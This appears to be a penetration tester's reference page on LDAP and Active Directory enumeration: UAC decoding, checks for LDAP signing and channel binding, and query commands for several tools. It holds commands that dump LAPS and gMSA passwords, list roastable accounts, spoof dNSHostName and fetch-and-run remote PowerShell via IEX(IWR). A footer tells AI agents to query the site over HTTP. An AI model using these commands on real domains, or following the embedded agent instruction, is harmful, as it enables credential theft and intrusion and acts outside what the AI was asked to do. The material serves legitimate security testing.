# LDAP

* <http://jxplorer.org/>
* <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN>
* <http://www.kouti.com/tables/userattributes.htm>
* <https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html>
* <https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/>

![LDAP Authentication Protocols (Almond)](/files/nb9eQDDpLq1WwoaDBhdB)

Check if LDAPS was ever correctly configured:

```
$ openssl s_client -host 192.168.1.11 -port 636
```

## Theory

Some [Extensible Match](https://ldapwiki.com/wiki/ExtensibleMatch) Matching Rules:

| Rule Name                                                                                | OID                       | Description                                                                                                      |
| ---------------------------------------------------------------------------------------- | ------------------------- | ---------------------------------------------------------------------------------------------------------------- |
| [LDAP\_MATCHING\_RULE\_BIT\_AND](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_AND)   | `1.2.840.113556.1.4.803`  | True if all bits from the attribute match the value (bitwise AND).                                               |
| [LDAP\_MATCHING\_RULE\_BIT\_OR](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_BIT_OR)     | `1.2.840.113556.1.4.804`  | True if any bits from the attribute match the value (bitwise OR).                                                |
| [LDAP\_MATCHING\_RULE\_IN\_CHAIN](https://ldapwiki.com/wiki/LDAP_MATCHING_RULE_IN_CHAIN) | `1.2.840.113556.1.4.1941` | Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN. |

## UserAccountControl

* <https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/>

### Decode UAC Values

* <http://woshub.com/decoding-ad-useraccountcontrol-value/>

{% code title="DecodeUserAccountControl.ps1" %}

```powershell
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
	$UACPropertyFlags = @(
		"SCRIPT",
		"ACCOUNTDISABLE",
		"RESERVED",
		"HOMEDIR_REQUIRED",
		"LOCKOUT",
		"PASSWD_NOTREQD",
		"PASSWD_CANT_CHANGE",
		"ENCRYPTED_TEXT_PWD_ALLOWED",
		"TEMP_DUPLICATE_ACCOUNT",
		"NORMAL_ACCOUNT",
		"RESERVED",
		"INTERDOMAIN_TRUST_ACCOUNT",
		"WORKSTATION_TRUST_ACCOUNT",
		"SERVER_TRUST_ACCOUNT",
		"RESERVED",
		"RESERVED",
		"DONT_EXPIRE_PASSWORD",
		"MNS_LOGON_ACCOUNT",
		"SMARTCARD_REQUIRED",
		"TRUSTED_FOR_DELEGATION",
		"NOT_DELEGATED",
		"USE_DES_KEY_ONLY",
		"DONT_REQ_PREAUTH",
		"PASSWORD_EXPIRED",
		"TRUSTED_TO_AUTH_FOR_DELEGATION",
		"RESERVED",
		"PARTIAL_SECRETS_ACCOUNT"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
		"RESERVED"
	)
	$Attributes = ""
	1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
	Return $Attributes
}
```

{% endcode %}

## Object-Guids

Convert MS LDAP [objectGUID](https://learn.microsoft.com/ru-ru/windows/win32/adschema/a-objectguid) to bytes:

```python
import uuid
import struct

def uuid_to_ms_guid_bytes(uuid_string):
    u = uuid.UUID(uuid_string)

    # MS GUIDs use mixed endianness:
    #  first 3 components are little-endian
    #  last 2 components are big-endian
    return struct.pack('<IHH', u.time_low, u.time_mid, u.time_hi_version) + \
		struct.pack('>Q', u.node | (u.clock_seq << 48))[-8:]
```

## Mitigations

* <https://github.com/zyn3rgy/LdapRelayScan>
* <https://specterops.io/blog/2025/11/25/less-praying-more-relaying-enumerating-epa-enforcement-for-mssql-and-https/>
* <https://github.com/zyn3rgy/RelayInformer>

Scan for LDAP Singing and LDAPS Channel Binding:

```
$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done
```

### LDAP Signing & LDAPS Channel Binding

* <https://offsec.almond.consulting/bypassing-ldap-channel-binding-with-starttls.html>

| Property Name                                                                                                                                                                   | Property Path                                             |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| [LdapServerIntegrity](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a)       | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |
| [LdapEnforceChannelBinding](https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-for-windows-ef185fb8-00f7-167d-744c-f299a66fc00a) | `HKLM\System\CurrentControlSet\Services\NTDS\Parameters\` |

If `LdapServerIntegrity` is set to `2`, LDAP Signing is required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
```

If `LdapEnforceChannelBinding` is set to `2`, LDAPS Channel Binding is **always** required:

```
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding
```

## Tools

### RSAT-AD-PowerShell

Install via Capabilities (Windows clients):

```
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
```

Or via Features (Windows servers):

```
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
```

Install via ADModule:

* <https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1>
* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1>

```
PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
```

#### Example Queries

List disabled users (when searching for users [use](http://www.frickelsoft.net/blog/?p=147) `objectCategory` + `objectClass` filters):

```
PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
```

Count users, groups and computers:

```
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
```

List users with `DoesNotRequirePreAuth` set (aka [asreproastable](/pentest/infrastructure/ad/kerberos/roasting.md#asreproasting)):

```
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
```

List accounts with SPN(s) set (aka [kerberoastable](/pentest/infrastructure/ad/kerberos/roasting.md#kerberoasting)) and which are also in Protected Users group:

```
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
```

List all groups that **j.doe** is a member of:

```
PS > Get-ADPrincipalGroupMembership j.doe | select name
```

List all groups (including nested groups) that **j.doe** is a member of:

```
PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
```

List members of IT Support group through nested group membership:

```
PS > Get-ADGroupMember "IT Support" -Recursive
```

List users marked as trusted for delegation (`TRUSTED_FOR_DELEGATION` UAC value is `524288`):

```
PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
```

Find the number of users in the Helpdesk OU:

```
PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
```

Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):

```
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
```

Find users with description field filled ([one-liner](https://gist.github.com/dafthack/5f8c36f7468fad991e9e1f6d81ec29d4)):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
```

Find users with a null password (`PASSWD_NOTREQD` UAC value is `32`):

```
PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
```

Create a new domain user account:

```
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
```

List deleted AD objects (AD [recycle](https://activedirectorypro.com/enable-active-directory-recycle-bin-server-2016/) [bin](https://blog.stealthbits.com/active-directory-object-recovery-recycle-bin/)):

```
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap
```

### ldap3 (Python)

Check if anonymous bind is allowed:

```python
>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> s.info
```

### ldap-utils

#### ldapsearch

* <https://malicious.link/post/2022/ldapsearch-reference/>

Install:

```
$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
```

Basic syntax:

```
$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
```

Get base naming contexts:

```
$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts
```

Extract data for the whole domain catalog and then grep your way through:

```
$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
```

Or filter out only what you need:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
```

Get `Remote Management Users` group:

```
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
```

Dump LAPS passwords:

```
$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
```

Simple authentication with a plaintext password:

```
$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

SASL GSSAPI (Kerberos) authentication (there should be both `A` and `PTR` DNS records of the DC for this to work):

```
$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
```

Analyze large output for anomalies by searching for unique strings:

```
$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr
```

#### ldapmodify

An example of removing SPNs and changing `dNSHostName` (see [dNSHostName Spoofing (Certifried)](/pentest/infrastructure/ad/ad-cs-abuse/dnshostname-spoofing-certifried.md)):

```
$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
```

{% code title="spoof.ldiff" %}

```diff
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
```

{% endcode %}

### windapsearch

* <https://github.com/ropnop/windapsearch>
* <https://github.com/snovvcrash/windapsearch>

Enumerate domain function functional level with LDAP anonymous bind:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality
```

Enumerate users in Protected Users group which are also trusted for unconstrained delegation:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
```

Find what OU is the user John Doe part of:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
```

Query LDAP for all domain computer accounts (+ try to resolve their IPs with `-r` flag) and save results into a csv file:

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv
```

### go-windapsearch

* <https://github.com/ropnop/go-windapsearch>

Find user accounts which require smart card authentication (`SMARTCARD_REQUIRED` UAC value is `262144`):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
```

Get password history size in the domain:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
```

Search for service accounts configured for constrained delegation:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
```

Dump all users info:

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt
```

### ldapsearch-ad

* <https://github.com/yaap7/ldapsearch-ad>

Enumerate password policy in the domain:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
```

Run all checks:

```
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all
```

### gMSADumper

* <https://github.com/micahvandeusen/gMSADumper>

```
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889
```

### ldeep

* <https://github.com/franc-pentest/ldeep>

Enumerate ACEs of the `AdminSDHolder` object:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
```

Convert SID to name:

```
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>
```

### Nmap NSE

```
$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389
```

### LDAPmonitor

* <https://github.com/p0dalirius/LDAPmonitor>

```
$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
```

#### ADSpider

* <https://habr.com/ru/companies/angarasecurity/articles/697938/>
* <https://github.com/DrunkF0x/ADSpider>

### SilentHound

* <https://github.com/snovvcrash/SilentHound>

```
$ python3 silenthound.py -u snovvcrash@megacorp.local -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/ldap-ldaps.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
